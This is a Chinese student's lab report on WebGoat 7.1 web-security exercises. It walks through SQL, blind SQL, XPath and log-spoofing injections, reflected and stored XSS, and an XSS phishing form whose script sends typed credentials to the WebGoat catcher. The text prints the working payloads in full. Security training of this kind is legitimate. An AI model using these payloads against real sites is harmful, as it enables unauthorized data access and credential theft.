Exp9 web安全基础

一、基础问题回答

(1)SQL注入攻击原理,如何防御
原理:

程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,攻击者利用SQL命令欺骗服务器执行恶意的SQL命令,获得某些他想得知的数据。

防御:

就像我们上次做实验对网页登陆的账户做了密码长度的限制,可以限制输入的长度、检查输入变量的数据类型,限制特殊字符的输入,把用户输入的or, –,';等关键字和特殊字符都过滤了,大不了抛出异常而已呗…… 或者用语言内建的安全机制(比如说 JDBC 的PreparedStatement就可以很大程度的防止 SQL 注入)

(2)XSS攻击的原理,如何防御
原理:

XSS攻击全称跨站脚本攻击,也由于没有对用户输入数据的合法性进行判断,攻击者在网页上插入恶意代码,攻击用户。

防御:

与防御SQL注入一样,可以通过检查用户的输入字符串,并做出限制。

(3)CSRF攻击原理,如何防御
原理:

跨站请求伪造,攻击者通过伪造身份等方式来达到一些非法目的,以你的名义来发送恶意请求。

防御:

使用验证码,表单中附加随机值,以此来防止冒充。

二、环境配置

真的是前人栽好树,后人好乘凉呀,只需要去杨正晖同学的百度云里下载7.1版本的webgoat然后拷贝到虚拟机里就可以用,之前我也下载了8.0版本的,结果他的答题模式是不一样,所以就放弃了 。

将7.1版本的webgoat下载好之后拷贝到虚拟机中,打开终端进入该目录输入
java -jar webgoat-container-7.0.1-war-exec
1350877-20180529205247455-1893061615.png

然后打开浏览器在地址栏输入localhost:8080/WebGoat即可进入webgoat登录界面=-=
用默认帐号和密码即可登录。
1350877-20180529205256450-845031883.png
1350877-20180529205304344-1822619914.png

三、实践过程

在这之前需要将自己的火狐浏览器稍微优化一下。。。。比如把浏览器调成中文,给浏览器加装两个插件可以翻译网页和取词翻译,当然这个在国内可能不太友好要翻墙。。。当我没说哈哈哈哈哈
1350877-20180529205449053-153190084.png
不过好像没什么用,太慢了,国内不支持。

1. Injection Flaws——Numeric SQL Injection

原理大概就是要修改一下输入操作,这里kali上有自带的开发人员工具调试。要改的地方有两处第一个是SELECT * FROM weather_data WHERE station = [station]拦截报文将station字段后补充成一个永真式101 OR 1=1。于是整个语句就变成了SELECT * FROM weather_data WHERE station = 101 OR 1=1
1350877-20180529205354646-2085459423.png

第二处要改的是这里,加一个恒等式就行
1350877-20180529205400930-1141921763.png
1350877-20180529205407326-1404320638.png

然后就可以看到所有城市的天气。。。
1350877-20180529205539650-1116815061.png

2.Injection Flaws——Log Spoofing

日志伪造,目的是通过注入恶意字符串,按照规则伪造出一条日志,在Username输入

zh%0d%0aLogin Succeeded for username: admin
其中%0d和%0a为CRLF换行符

则可以看到输出为:
1350877-20180530093207312-866900070.png

第二行就是成果

3.Injection Flaws——XPATH Iniection

题目意思是下面的表格允许员工查看他们所有的个人资料,包括他们的薪水。你的账户是迈克/ test123。你的目标是尝试查看其他员工的数据。

解决方法是构造一个永真式
zwy' or 1=1 or 'a'='a
1350877-20180530093243064-421917108.png

4.Injection Flaws——LAB:SQL Injection Stage1:String SQL Injection

使用String SQL注入来绕过身份验证。
1.以用户Neville登录,在密码栏中输入' or 1=1 --
永真式进行SQL注入,但是会发现登录失败。我们通过控制台修改一下password的长度为50,再次登陆。
1350877-20180530093334289-1143473158.png
1350877-20180530093355795-842900718.png

5.Injection Flaws——LAB:SQL Injection Stage1:Numeric SQL Injection

该题目的目的是通过注入语句,浏览到原本无法浏览的信息。绕过认证执行SQL注入,通过一个普通员工的账户larry,浏览其BOSS的账户信息。

通过SQL注入登录进去Larry用户(注意:网页刷新需要重新修改password的长度)
1350877-20180530093413488-1611425575.png

将value的值改成101 or 1=1 order by salary desc --,这样做的目的是通过薪水排行将老板放到第一个

点击ViewProfile进入,即可查看老板相关信息。
1350877-20180530093426449-134787468.png

6.Injection Flaws——Blind Numberic SQL Injection

数字盲注
题目中说明了下面的表单允许用户输入帐号并确定它是否有效,即返回值只有账户有效或无效两种。
1.先输入101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 4000);,结果是
Account number is valid.账户有效,再试试
1350877-20180607214735096-1171178241.png

2.再输入101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 2500 );,结果是

Invalid account number.,账户无效。也就是说,我们要找的数在2000~2500之间

3.利用二分法,多次尝试,找到数字为2364
1350877-20180607214758307-1193517668.png

7.Injection Flaws——Blind String SQL Injection

和上一题一样,只是由猜数字变成猜字符方法类似,难度加深

1.输入101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) >'z' );
进行猜解,发现结果为Account number is valid,账户有效。
1350877-20180607215006549-1378297928.png

再往大写的字母猜测,最终确定首字母为J

2.接下来猜第二个字母
输入101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 2, 1) >'h' );发现结果为Account number is valid,账户有效。

最后确定第二个字母为i

3.这样一步步尝试,最后确定用户名为Jill
1350877-20180607215024469-1927908788.png

8.Cross-Site Scripting (XSS)——跨站脚本钓鱼攻击(Phishing with XSS)

题目要求是关于一个页面中存在XSS漏洞时,他如何支持钓鱼攻击。要求我们利用xss和html注入达到这些目标。

1.使用XSS和HTML插入制作一个钓鱼网站,将其输在search框中,代码如下:

</form>
  <script>
function hack(){ 
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
} 
  </script>
<form name="phish">
<br><br>
<HR>
  <H2>This feature requires account login:</H2>
<br>
  <br>Enter Username:<br>
  <input type="text" name="user">
  <br>Enter Password:<br>
  <input type="password" name = "pass">
<br>
  <input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>

1350877-20180607215045952-892212797.png
2.输入后下拉网页,会有用户名和密码的框出现,随意输入用户名和密码
3.成功
1350877-20180607215105317-1366491720.png

9.Cross-Site Scripting (XSS)——Stored XSS Attacks

题目的意思是我们要在信息中添加一个html的标签。

在Title里输入“Test Stored XSS”,在 Message里输入<script>alert("20154330zwy!");</script>
1350877-20180607221014648-1205097722.png

10.Cross-Site Scripting (XSS)——Reflected XSS Attacks

当我们输入错误的用户信息后,服务器校验输入有误,会返回错误页面并将错误内容展示给我们看:
1350877-20180607221040571-114921239.png

如果我们将带有攻击性的URL作为输入源,比如<script>alert("20154330zwyyqh");</script>,就会弹出对话框

1350877-20180607221033855-1355123849.png

四、实验总结与体会

这次也谈不上是一次试验,给我的感觉更像是刷题,有难有易,不同类型,不同操作涵盖了web的较多方面,让我们有一个较好的平台去继续了解课程相关的其他方面的东西,感觉还是很不错的。

转载于:https://www.cnblogs.com/zhangweiye20154330/p/9107871.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值